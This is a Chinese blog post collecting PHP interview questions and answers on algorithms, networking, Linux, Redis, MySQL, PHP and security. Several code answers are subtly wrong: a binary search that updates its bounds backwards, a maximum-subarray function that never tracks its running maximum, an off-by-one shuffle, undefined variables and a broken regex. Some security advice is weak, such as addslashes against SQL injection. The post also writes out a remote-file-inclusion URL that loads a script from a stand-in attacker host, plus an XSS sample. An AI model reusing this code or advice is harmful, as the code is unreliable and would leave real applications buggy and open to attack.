3年PHPer的面試總結

jsyzchen發表於2019-03-03

之前看到一篇文章《八年phper的高階工程師面試之路》,然後最近我也在面試,面了有百度、360、滴滴、小米、微博、58趕集、搜狗、瓜子二手車等公司,最後也進了心儀的公司,面試過程中學到了很多東西,所以也想和大家分享一下,雖然我的工作經驗才3年左右。
注:下面題目的答案只是我思考和查詢資料的結果,並不代表完全準確,有錯誤的地方大家可以指正,有更好的方案可以提出,大家一起討論。

演算法

1.反轉函式的實現

/**
 * 反轉陣列
 * @param  array $arr 
 * @return array
 */
function reverse($arr)
{
    $n = count($arr);

    $left = 0;
    $right = $n - 1;

    while ($left < $right) {
        $temp = $arr[$left];
        $arr[$left++] = $arr[$right];
        $arr[$right--] = $temp;
    }

    return $arr;
}複製程式碼

2.兩個有序int集合是否有相同元素的最優演算法

/**
 * 尋找兩個有序陣列裡相同的元素
 * @param  array $arr1 
 * @param  array $arr2 
 * @return array      
 */
function find_common($arr1, $arr2)
{
    $common = array();
    $i = $j = 0;
    $count1 = count($arr1);
    $count2 = count($arr2);
    while ($i < $count1 && $j < $count2) {
        if ($arr1[$i] < $arr2[$j]) {
            $i++;
        } elseif ($arr1[$i] > $arr2[$j]) {
            $j++;
        } else {
            $common[] = $arr[$i];
            $i++;
            $j++;
        }
    }
    return array_unique($common);
}複製程式碼

3.將一個陣列中的元素隨機(打亂)

/**
 * 打亂陣列
 * @param  array $arr 
 * @return array      
 */
function custom_shuffle($arr)
{
    $n = count($arr);
    for ($i = 0; $i < $n; $i++) {
        $rand_pos = mt_rand(0, $n);
        if ($rand_pos != $i) {
            $temp = $arr[$i];
            $arr[$i] = $arr[$rand_pos];
            $arr[$rand_pos] = $temp;
        }
    }
    return $arr;
}複製程式碼

4.給一個有數字和字母的字串,讓連著的數字和字母對應

function number_alphabet($str)
{
    $number = preg_split(`/[a-z]+/`, $str, -1, PREG_SPLIT_NO_EMPTY);
    $alphabet = preg_split(`/d+/`, $str, -1, PREG_SPLIT_NO_EMPTY);
    $n = count($number);
    for ($i = 0; $i < $count; $i++) { 
        echo $number[$i] . `:` . $alphabet[$i] . `</br>`;
    }
}
$str = `1a3bb44a2ac`;
number_alphabet($str);//1:a 3:bb 44:a 2:ac複製程式碼

5.求n以內的質數(質數的定義:在大於1的自然數中,除了1和它本身意外,無法被其他自然數整除的數)

思路:
1.(質數篩選定理)n不能夠被不大於根號n的任何質數整除,則n是一個質數
2.除了2的偶數都不是質數
程式碼如下:

/**
 * 求n內的質數
 * @param int $n 
 * @return array
 */
function get_prime($n)
{
    $prime = array(2);//2為質數

    for ($i = 3; $i <= $n; $i += 2) {//偶數不是質數,步長可以加大 
        $sqrt = intval(sqrt($i));//求根號n

        for ($j = 3; $j <= $sqrt; $j += 2) {//i是奇數,當然不能被偶數整除,步長也可以加大。 
            if ($i % $j == 0) {
                break;
            }
        }

        if ($j > $sqrt) {
            array_push($prime, $i);
        }
    }

    return $prime;
}

print_r(getPrime(1000));複製程式碼

6.約瑟夫環問題

相關題目:一群猴子排成一圈,按1,2,…,n依次編號。然後從第1只開始數,數到第m只,把它踢出圈,從它後面再開始數, 再數到第m只,在把它踢出去…,如此不停的進行下去, 直到最後只剩下一隻猴子為止,那隻猴子就叫做大王。要求程式設計模擬此過程,輸入m、n, 輸出最後那個大王的編號。

/**
 * 獲取大王
 * @param  int $n 
 * @param  int $m 
 * @return int  
 */
function get_king_mokey($n, $m) 
{
    $arr = range(1, $n);

    $i = 0;

    while (count($arr) > 1) {
        $i++;
        $survice = array_shift($arr);

        if ($i % $m != 0) {
            array_push($arr, $survice);
        }
    }

    return $arr[0];
}複製程式碼

7.如何快速尋找一個陣列裡最小的1000個數

思路:假設最前面的1000個數為最小的,算出這1000個數中最大的數,然後和第1001個數比較,如果這最大的數比這第1001個數小的話跳過,如果要比這第1001個數大則將兩個數交換位置,並算出新的1000個數裡面的最大數,再和下一個數比較,以此類推。
程式碼如下:

//尋找最小的k個數
//題目描述
//輸入n個整數,輸出其中最小的k個。
/**
 * 獲取最小的k個數
 * @param  array $arr 
 * @param  int $k   [description]
 * @return array
 */
function get_min_array($arr, $k)
{
    $n = count($arr);

    $min_array = array();

    for ($i = 0; $i < $n; $i++) {
        if ($i < $k) {
            $min_array[$i] = $arr[$i];
        } else {
            if ($i == $k) {
                $max_pos = get_max_pos($min_array);
                $max = $min_array[$max_pos];
            }

            if ($arr[$i] < $max) {
                $min_array[$max_pos] = $arr[$i];

                $max_pos = get_max_pos($min_array);
                $max = $min_array[$max_pos];
            }
        }
    }

    return $min_array;
}

/**
 * 獲取最大的位置
 * @param  array $arr 
 * @return array
 */
function get_max_pos($arr)
{
    $pos = 0;
    for ($i = 1; $i < count($arr); $i++) { 
        if ($arr[$i] > $arr[$pos]) {
            $pos = $i;
        }
    }

    return $pos;
}


$array = [1, 100, 20, 22, 33, 44, 55, 66, 23, 79, 18, 20, 11, 9, 129, 399, 145, 2469, 58];

$min_array = get_min_array($array, 10);

print_r($min_array);複製程式碼

8.如何在有序的陣列中找到一個數的位置(二分查詢)

程式碼如下:

/**
 * 二分查詢
 * @param  array $array 陣列
 * @param  int $n 陣列數量
 * @param  int $value 要尋找的值
 * @return int
 */
function binary_search($array, $n, $value)
{
    $left = 0;
    $right = $n - 1;

    while ($left <= $right) {
        $mid = intval(($left + $right) / 2);
        if ($value > $array[$mid]) {
            $right = $mid + 1;
        } elseif ($value < $array[$mid]) {
            $left = $mid - 1;
        } else {
            return $mid;
        }
    }

    return -1;
}複製程式碼

9.給定一個有序整數序列,找出絕對值最小的元素

思路:二分查詢

/**
 * 獲取絕對值最小的元素
 * @param  array $arr
 * @return int  
 */
function get_min_abs_value($arr)
{
    //如果符號相同,直接返回
    if (is_same_sign($arr[0], $arr[$n - 1])) {
        return $arr[0] >= 0 ? $arr[0] : $arr[$n - 1];
    }

    //二分查詢
    $n = count($arr);
    $left = 0;
    $right = $n - 1;

    while ($left <= $right) {
        if ($left + 1 === $right) {
            return abs($arr[$left]) < abs($arr[$right]) ? $arr[$left] : $arr[$right];
        }

        $mid = intval(($left + $right) / 2);

        if ($arr[$mid] < 0) {
            $left = $mid + 1;
        } else {
            $right = $mid - 1;
        }
    }
}

/**
 * 判斷符號是否相同
 * @param  int  $a 
 * @param  int  $b 
 * @return boolean  
 */
function is_same_sign($a, $b)
{
    if ($a * $b > 0) {
        return true;
    } else {
        return false;
    }
}複製程式碼

10.找出有序陣列中隨機3個數和為0的所有情況

思路:動態規劃

function three_sum($arr)
{
    $n = count($arr);

    $return = array();

    for ($i=0; $i < $n; $i++) { 
        $left = $i + 1;
        $right = $n - 1;

        while ($left <= $right) {
            $sum = $arr[$i] + $arr[$left] + $arr[$right];

            if ($sum < 0) {
                $left++;
            } elseif ($sum > 0) {
                $right--;
            } else {
                $numbers = $arr[$i] . `,` . $arr[$left] . `,` . $arr[$right];
                if (!in_array($numbers, $return)) {
                    $return[] = $numbers;
                }

                $left++;
                $right--;
            }
        }
    }

    return $return;
}

$arr = [-10, -9, -8, -4, -2, 0, 1, 2, 3, 4, 5, 6, 9];
var_dump(three_sum($arr));複製程式碼

11.編寫一個PHP函式,求任意n個正負整數裡面最大的連續和,要求演算法時間複雜度儘可能低。

思路:動態規劃

/**
 * 獲取最大的連續和
 * @param  array $arr 
 * @return int 
 */
function max_sum_array($arr)
{
    $currSum = 0;
    $maxSum = 0;//陣列元素全為負的情況,返回最大數

    $n = count($arr);

    for ($i = 0; $i < $n; $i++) { 
        if ($currSum >= 0) {
            $currSum += $arr[$i];
        } else {
            $currSum = $arr[$i];
        }
    }

    if ($currSum > $maxSum) {
        $maxSum = $currSum;
    }

    return $maxSum;
}複製程式碼

計算機網路

1.HTTP中GET與POST的區別,注意最後一條

  1. GET在瀏覽器回退時是無害的,而POST會再次提交請求。
  2. GET產生的URL地址可以被Bookmark,而POST不可以。
  3. GET請求會被瀏覽器主動cache,而POST不會,除非手動設定。
  4. GET請求只能進行url編碼,而POST支援多種編碼方式。
  5. GET請求引數會被完整保留在瀏覽器歷史記錄裡,而POST中的引數不會被保留。
  6. GET請求在URL中傳送的引數是有長度限制的,而POST沒有。
  7. 對引數的資料型別,GET只接受ASCII字元,而POST沒有限制。
  8. GET比POST更不安全,因為引數直接暴露在URL上,所以不能用來傳遞敏感資訊。
  9. GET引數通過URL傳遞,POST放在Request body中。
  10. GET產生一個TCP資料包,POST產生兩個TCP資料包。

2.為什麼Tcp連線是三次,揮手是四次

在Tcp連線中,服務端的SYN和ACK向客戶端傳送是一次性傳送的,而在斷開連線的過程中,B端向A端傳送的ACK和FIN是分兩次傳送的。因為在B端接收到A端的FIN後,B端可能還有資料要傳輸,所以先傳送ACK,等B端處理完自己的事情後就可以傳送FIN斷開連線了。

3.Cookie存在哪

  1. 如果設定了過期時間,Cookie存在硬碟裡
  2. 沒有設定過期時間,Cookie存在記憶體裡

4.COOKIE和SESSION的區別和關係

  1. COOKIE儲存在客戶端,而SESSION則儲存在伺服器端
  2. 從安全性來講,SESSION的安全性更高
  3. 從儲存內容的型別的角度來講,COOKIE只儲存字串(及能夠自動轉換成字串)
  4. 從儲存內容的大小來看,COOKIE儲存的內容是有限的,比較小,而SESSION基本上沒有這個限制
  5. 從效能的角度來講,用SESSION的話,對伺服器的壓力會更大一些
  6. SEEION依賴於COOKIE,但如果禁用COOKIE,也可以通過url傳遞

Linux

1.如何修改檔案為當前使用者只讀

chmod u=r 檔名

2.Linux程式屬性

  1. 程式:是用pid表示,它的數值是唯一的
  2. 父程式:用ppid表示
  3. 啟動程式的使用者:用UID表示
  4. 啟動程式的使用者所屬的組:用GID表示
  5. 程式的狀態:執行R,就緒W,休眠S,殭屍Z

3.統計某一天網站的訪問量

awk `{print $1}` /var/log/access.log | sort | uniq | wc -l複製程式碼

推薦篇文章,講awk實際使用的shell在手分析伺服器日誌不愁

Nginx

1.fastcgi通過埠監聽和通過檔案監聽的區別

監聽方式 形式 nginx連結fastcgi方式
埠監聽 fastcgi_pass 127.0.0.1:9000 TCP連結
檔案監聽 fastcgi_pass /tmp/php_cgi.sock Unix domain Socket

2.nginx的負載均衡實現方式

  1. 輪詢
  2. 使用者IP雜湊
  3. 指定權重
  4. fair(第三方)
  5. url_hash(第三方)

Memcache/Redis

1.Redis主從是怎樣同步資料的?(即複製功能)

無論是初次連線還是重新連線,當建立一個從伺服器時,從伺服器都將從主伺服器傳送一個SYNC命令。接到SYNC命令的主伺服器將開始執行BGSAVE,並在儲存操作執行期間,將所有新執行的命令都儲存到一個緩衝區裡面,當BGSAVE執行完畢後,主伺服器將執行儲存操作所得到的.rdb檔案傳送給從伺服器,從伺服器接收這個.rdb檔案,並將檔案中的資料載入到記憶體中。之後主伺服器會以Redis命令協議的格式,將寫命令緩衝區中積累的所有內容都傳送給從伺服器。

2.Memcache快取命中率

快取命中率 = get_hits/cmd_get * 100%

3.Memcache叢集實現

一致性Hash

4.Memcache與Redis的區別

  1. Memcache
    • 該產品本身特別是資料在記憶體裡邊的儲存,如果伺服器突然斷電,則全部資料就會丟失
    • 單個key(變數)存放的資料有1M的限制
    • 儲存資料的型別都是String字串型別
    • 本身沒有持久化功能
    • 可以使用多核(多執行緒)
  2. Redis
    • 資料型別比較豐富:String、List、Set、Sortedset、Hash
    • 有持久化功能,可以把資料隨時儲存在磁碟上
    • 本身有一定的計算功能
    • 單個key(變數)存放的資料有1GB的限制

MySQL

1.執行SQL語句:select count(*) from articles 時,MyISAM和InnoDB哪個快

MyISAM快,因為MyISAM本身就記錄了數量,而InnoDB要掃描資料

3.隱式轉換

  • 當查詢欄位是INT型別,如果查詢條件為CHAR,將查詢條件轉換為INT,如果是字串前導都是數字將會進行擷取,如果不是轉換為0。
  • 當查詢欄位是CHAR/VARCHAR型別,如果查詢條件為INT,將查詢欄位為換為INT再進行比較,可能會造成全表掃描

2.最左字首原則

有一個複合索引:INDEX(`a`, `b`, `c`)

使用方式 能否用上索引
select * from users where a = 1 and b = 2 能用上a、b
select * from users where b = 2 and a = 1 能用上a、b(有MySQL查詢優化器)
select * from users where a = 2 and c = 1 能用上a
select * from users where b = 2 and c = 1 不能

3.聚簇索引和非聚簇索引的區別

聚簇索引的葉節點就是資料節點,而非聚簇索引的頁節點仍然是索引檢點,並保留一個連結指向對應資料塊。

PHP

1.Session可不可以設定失效時間,比如30分鐘過期

  1. 設定seesion.cookie_lifetime有30分鐘,並設定session.gc_maxlifetime為30分鐘
  2. 自己為每一個Session值增加timestamp
  3. 每次訪問之前, 判斷時間戳

2.PHP程式間通訊的幾種方式

  • 訊息佇列
  • 訊號量+共享記憶體
  • 訊號
  • 管道
  • socket

3.php類的靜態呼叫和例項化呼叫各自的利弊

靜態方法是類中的一個成員方法,屬於整個類,即使不用建立任何物件也可以直接呼叫!靜態方法效率上要比例項化高,靜態方法的缺點是不自動銷燬,而例項化的則可以做銷燬。

4.類的陣列方式呼叫

ArrayAccess(陣列式訪問)介面

5.用php寫一個函式,獲取一個文字檔案最後n行內容,要求儘可能效率高,並可以跨平臺使用。

function tail($file, $num)
{  
    $fp = fopen($file,"r");  
    $pos = -2;
    $eof = "";  
    $head = false;   //當總行數小於Num時,判斷是否到第一行了  
    $lines = array();  
    while ($num > 0) {  
        while($eof != PHP_EOL){  
            if (fseek($fp, $pos, SEEK_END) == 0) {    //fseek成功返回0,失敗返回-1  
                $eof = fgetc($fp);
                $pos--;  
            } else {                            //當到達第一行,行首時,設定$pos失敗  
                fseek($fp, 0, SEEK_SET);
                $head = true;                   //到達檔案頭部,開關開啟  
                break;  
            }  
        }  
        array_unshift($lines, str_replace(PHP_EOL, ``, fgets($fp)));   
        if ($head) {//這一句,只能放上一句後,因為到檔案頭後,把第一行讀取出來再跳出整個迴圈  
            break; 
        }                 
        $eof = "";  
        $num--;  
    }  
    fclose($fp);  
    return $lines;  
}複製程式碼

6.$SERVER[`SERVER_NAME`]和$SERVER[`HTTP_HOST`]的區別

相同點:
當滿足以下三個條件時,兩者會輸出相同資訊。

  1. 伺服器為80埠
  2. apache的conf中ServerName設定正確
  3. HTTP/1.1協議規範

不同點:

  1. 通常情況:
    $_SERVER[“HTTP_HOST”] 在HTTP/1.1協議規範下,會根據客戶端的HTTP請求輸出資訊。
    $_SERVER[“SERVER_NAME”] 預設情況下直接輸出apache的配置檔案httpd.conf中的ServerName值。
  2. 當伺服器為非80埠時:
    $_SERVER[“HTTP_HOST”] 會輸出埠號,例如:coffeephp.com:8080
    $_SERVER[“SERVER_NAME”] 會直接輸出ServerName值
    因此在這種情況下,可以理解為:$_SERVER[`HTTP_HOST`] = $_SERVER[`SERVER_NAME`] : $_SERVER[`SERVER_PORT`]
  3. 當配置檔案httpd.conf中的ServerName與HTTP/1.0請求的域名不一致時:
    httpd.conf配置如下:
    <virtualhost *>    
    ServerName jsyzchen.com    
    ServerAlias blog.jsyzchen.com    
    </virtualhost>複製程式碼

    客戶端訪問域名 blog.jsyzchen.com
    $_SERVER[“HTTP_HOST”] 輸出 blog.jsyzchen.com
    $_SERVER[“SERVER_NAME”] 輸出jsyzchen.com

7.開啟php.ini的safe_mode會影響哪些引數

當safe_mode=On時,會出現下面限制:

  1. 所有輸入輸出函式(例如fopen()、file()和require())的適用會受到限制,只能用於與呼叫這些函式的指令碼有相同擁有者的檔案。例如,假定啟用了安全模式,如果Mary擁有的指令碼呼叫fopen(),嘗試開啟由Jonhn擁有的一個檔案,則將失敗。但是,如果Mary不僅擁有呼叫 fopen()的指令碼,還擁有fopen()所呼叫的檔案,就會成功。
  2. 如果試圖通過函式popen()、system()或exec()等執行指令碼,只有當指令碼位於safe_mode_exec_dir配置指令指定的目錄才可能。
  3. HTTP驗證得到進一步加強,因為驗證指令碼用於者的UID劃入驗證領域範圍內。此外,當啟用安全模式時,不會設定PHP_AUTH。
  4. 如果適用MySQL資料庫伺服器,連結MySQL伺服器所用的使用者名稱必須與呼叫mysql_connect()的檔案擁有者使用者名稱相同。
    詳細的解釋可以檢視官網:www.php.net/manual/zh/i…
    php safe_mode影響引數
函式名 限制
dbmopen() 檢查被操作的檔案或目錄是否與正在執行的指令碼有相同的 UID(所有者)。
dbase_open() 檢查被操作的檔案或目錄是否與正在執行的指令碼有相同的 UID(所有者)。
filepro() 檢查被操作的檔案或目錄是否與正在執行的指令碼有相同的 UID(所有者)。
filepro_rowcount() 檢查被操作的檔案或目錄是否與正在執行的指令碼有相同的 UID(所有者)。
filepro_retrieve() 檢查被操作的檔案或目錄是否與正在執行的指令碼有相同的 UID(所有者)。
ifx_* sql_safe_mode 限制, (!= safe mode)
ingres_* sql_safe_mode 限制, (!= safe mode)
mysql_* sql_safe_mode 限制, (!= safe mode)
pg_loimport() 檢查被操作的檔案或目錄是否與正在執行的指令碼有相同的 UID(所有者)。
posix_mkfifo() 檢查被操作的目錄是否與正在執行的指令碼有相同的 UID(所有者)。
putenv() 遵循 ini 設定的 safe_mode_protected_env_vars 和 safe_mode_allowed_env_vars 選項。請參考 putenv() 函式的有關文件。
move_uploaded_file() 檢查被操作的檔案或目錄是否與正在執行的指令碼有相同的 UID(所有者)。
chdir() 檢查被操作的目錄是否與正在執行的指令碼有相同的 UID(所有者)。
dl() 本函式在安全模式下被禁用。
backtick operator 本函式在安全模式下被禁用。
shell_exec() (在功能上和 backticks 函式相同) 本函式在安全模式下被禁用。
exec() 只能在 safe_mode_exec_dir 設定的目錄下進行執行操作。基於某些原因,目前不能在可執行物件的路徑中使用 ..。escapeshellcmd() 將被作用於此函式的引數上。
system() 只能在 safe_mode_exec_dir 設定的目錄下進行執行操作。基於某些原因,目前不能在可執行物件的路徑中使用 ..。escapeshellcmd() 將被作用於此函式的引數上。
passthru() 只能在 safe_mode_exec_dir 設定的目錄下進行執行操作。基於某些原因,目前不能在可執行物件的路徑中使用 ..。escapeshellcmd() 將被作用於此函式的引數上。
popen() 只能在 safe_mode_exec_dir 設定的目錄下進行執行操作。基於某些原因,目前不能在可執行物件的路徑中使用 ..。escapeshellcmd() 將被作用於此函式的引數上。
fopen() 檢查被操作的目錄是否與正在執行的指令碼有相同的 UID(所有者)。
mkdir() 檢查被操作的目錄是否與正在執行的指令碼有相同的 UID(所有者)。
rmdir() 檢查被操作的目錄是否與正在執行的指令碼有相同的 UID(所有者)。
rename() 檢查被操作的檔案或目錄是否與正在執行的指令碼有相同的 UID(所有者)。 檢查被操作的目錄是否與正在執行的指令碼有相同的 UID(所有者)。
unlink() 檢查被操作的檔案或目錄是否與正在執行的指令碼有相同的 UID(所有者)。 檢查被操作的目錄是否與正在執行的指令碼有相同的 UID(所有者)。
copy() 檢查被操作的檔案或目錄是否與正在執行的指令碼有相同的 UID(所有者)。 檢查被操作的目錄是否與正在執行的指令碼有相同的 UID(所有者)。 (on source and target )
chgrp() 檢查被操作的檔案或目錄是否與正在執行的指令碼有相同的 UID(所有者)。
chown() 檢查被操作的檔案或目錄是否與正在執行的指令碼有相同的 UID(所有者)。
chmod() 檢查被操作的檔案或目錄是否與正在執行的指令碼有相同的 UID(所有者)。 另外,不能設定 SUID、SGID 和 sticky bits
touch() 檢查被操作的檔案或目錄是否與正在執行的指令碼有相同的 UID(所有者)。 檢查被操作的目錄是否與正在執行的指令碼有相同的 UID(所有者)。
symlink() 檢查被操作的檔案或目錄是否與正在執行的指令碼有相同的 UID(所有者)。 檢查被操作的目錄是否與正在執行的指令碼有相同的 UID(所有者)。 (注意:僅測試 target)
link() 檢查被操作的檔案或目錄是否與正在執行的指令碼有相同的 UID(所有者)。 檢查被操作的目錄是否與正在執行的指令碼有相同的 UID(所有者)。 (注意:僅測試 target)
apache_request_headers() 在安全模式下,以“authorization”(區分大小寫)開頭的標頭將不會被返回。
header() 在安全模式下,如果設定了 WWW-Authenticate,當前指令碼的 uid 將被新增到該標頭的 realm 部分。
PHP_AUTH 變數 在安全模式下,變數 PHP_AUTH_USER、PHP_AUTH_PW 和 PHP_AUTH_TYPE 在 $_SERVER 中不可用。但無論如何,您仍然可以使用 REMOTE_USER 來獲取使用者名稱稱(USER)。(注意:僅 PHP 4.3.0 以後有效)
highlight_file(), show_source() 檢查被操作的檔案或目錄是否與正在執行的指令碼有相同的 UID(所有者)。 檢查被操作的目錄是否與正在執行的指令碼有相同的 UID(所有者)。 (注意,僅在 4.2.1 版本後有效)
parse_ini_file() 檢查被操作的檔案或目錄是否與正在執行的指令碼有相同的 UID(所有者)。 檢查被操作的目錄是否與正在執行的指令碼有相同的 UID(所有者)。 (注意,僅在 4.2.1 版本後有效)
set_time_limit() 在安全模式下不起作用。
max_execution_time 在安全模式下不起作用。
mail() 在安全模式下,第五個引數被遮蔽。

8.PHP解決多程式同時寫一個檔案的問題

function write($str)
{
    $fp = fopen($file, `a`);
    do {
        usleep(100);
    } while (!flock($fp, LOCK_EX));
    fwrite($fp, $str . PHP_EOL);
    flock($fp, LOCK_UN);
    fclose($fp);
}複製程式碼

9.PHP裡的超全域性變數

  • $GLOBALS
  • $_SERVER
  • $_GET
  • $_POST
  • $_FILES
  • $_COOKIE
  • $_SESSION
  • $_REQUEST
  • $_ENV

10.php7新特性

  • ?? 運算子(NULL 合併運算子)
  • 函式返回值型別宣告
  • 標量型別宣告
  • use 批量宣告
  • define 可以定義常量陣列
  • 閉包( Closure)增加了一個 call 方法
    詳細的可以見官網:php7-new-features

11.php7卓越效能背後的優化

  • 減少記憶體分配次數
  • 多使用棧記憶體
  • 快取陣列的hash值
  • 字串解析成桉樹改為巨集展開
  • 使用大塊連續記憶體代替小塊破碎記憶體
    詳細的可以參考鳥哥的PPT:PHP7效能之源

12.include($_GET[`p`])的安全隱患

現在任一個黑客現在都可以用:http://www.yourdomain.com/index.php?p=anyfile.txt 來獲取你的機密資訊,或執行一個PHP指令碼。
如果allow_url_fopen=On,你更是死定了:
試試這個輸入:http://www.yourdomain.com/index.php?p=http://youaredoomed.com/phphack.php
現在你的網頁中包含了http://www.youaredoomed.com/phphack.php的輸出. 黑客可以傳送垃圾郵件,改變密碼,刪除檔案等等。只要你能想得到。

13.列出一些防範SQL隱碼攻擊、XSS攻擊、CSRF攻擊的方法

SQL隱碼攻擊:

  • addslashes函式
  • mysql_real_escape_string/mysqli_real_escape_string/PDO::quote()
  • PDO預處理
    XSS:htmlspecial函式
    CSRF:
  • 驗證HTTP REFER
  • 使用toke進行驗證

14.介面如何安全訪問

jwt或驗證簽名

15.PHP裡有哪些設計模式

  • 單例模式
  • 工廠模式
  • 臉面模式(facade)
  • 註冊器模式
  • 策略模式
  • 原型模式
  • 裝飾器模式
    更多的可以看PHP設計模式簡介這篇文章

16.驗證ip是否正確

function check_ip($ip)
{
    if (!filter_var($ip, FILTER_VALIDATE_IP)) {
    return false;
    } else {
        return true;
    }
}複製程式碼

17.驗證日期是否合理

function check_datetime($datetime)
{
    if (date(`Y-m-d H:i:s`, strtotime($datetime)) === $datetime) {
        return true;
    } else {
        return false;
    }
}複製程式碼

18.寫一個正規表示式,過濾JS指令碼(及把script標記及其內容都去掉)

$text = `<script>alert(`XSS`)</script>`;
$pattern = `<script.*>.*</script>/i`;
$text = preg_replace($pattern, ``, $text);複製程式碼

19.下單後30分鐘未支付取消訂單

第一種方案:被動過期+cron,就是使用者檢視的時候去資料庫查有沒有支付+定時清理。
第二種方案:延遲性任務,到時間檢查訂單是否支付成功,如果沒有支付則取消訂單

20.設計一個秒殺系統

思路:用redis的佇列

$ttl = 4;
$random = mt_rand(1,1000).`-`.gettimeofday(true).`-`.mt_rand(1,1000);

$lock = fasle;
while (!$lock) {
    $lock = $redis->set(`lock`, $random, array(`nx`, `ex` => $ttl));
}

if ($redis->get(`goods.num`) <= 0) {
    echo ("秒殺已經結束");
    //刪除鎖
    if ($redis->get(`lock`) == $random) {
        $redis->del(`lock`);
    }
    return false;
}

$redis->decr(`goods.num`);
echo ("秒殺成功");
//刪除鎖
if ($redis->get(`lock`) == $random) {
    $redis->del(`lock`);
}
return true;複製程式碼

21.請設計一個實現方式,可以給某個ip找到對應的省和市,要求效率竟可能的高

//ip2long,把所有城市的最小和最大Ip錄進去
$redis_key = `ip`;
$redis->zAdd($redis_key, 20, `#bj`);//北京的最小IP加#
$resid->zAdd($redis_key, 30, `bj`);//最大IP

function get_ip_city($ip_address)
{
    $ip = ip2long($ip_address);

    $redis_key = `ip`;
    $city = zRangeByScore($redis_key, $ip, `+inf`, array(`limit` => array(0, 1)));
    if ($city) {
        if (strpos($city[0], "#") === 0) {
            echo `城市不存在!`;
        } else {
            echo `城市是` . $city[0];
        }
    } else {
        echo `城市不存在!`;
    }
}複製程式碼

其他

1.網頁/應用訪問慢突然變慢,如何定位問題

  1. top、iostat檢視cpu、記憶體及io佔用情況
  2. 核心、程式引數設定不合理
    檢視有沒有報核心錯誤,連線數使用者開啟檔案數這些有沒有達到上限等等
  3. 鏈路本身慢
    是否跨運營商、使用者上下行頻寬不夠、dns解析慢、伺服器內網廣播風暴什麼的
  4. 程式設計不合理
    是否程式本身演算法設計太差,資料庫語句太過複雜或者剛上線了什麼功能引起的
  5. 其它關聯的程式引起的
    如果要訪問資料庫,檢查一下是否資料庫訪問慢
  6. 是否被攻擊了
    檢視伺服器是否被DDos了等等
  7. 硬體故障
    這個一般直接伺服器就掛了,而不是訪問慢

2.如何設計/優化一個訪問量比較大的部落格/論壇

  • 減少http請求(比如使用雪碧圖)
  • 優化資料庫(正規化、SQL語句、索引、配置、讀寫分離)
  • 快取使用(Memcache、Redis)
  • 負載均衡
  • 動態內容靜態化+CDN
  • 禁止外部盜鏈(refer、圖片新增水印)
  • 控制大檔案下載
  • 使用叢集

3.如何搭建Composer私有庫

使用satis搭建
相關文章介紹:使用satis搭建Composer私有庫

原文連結:3年PHPer的面試總結

相關文章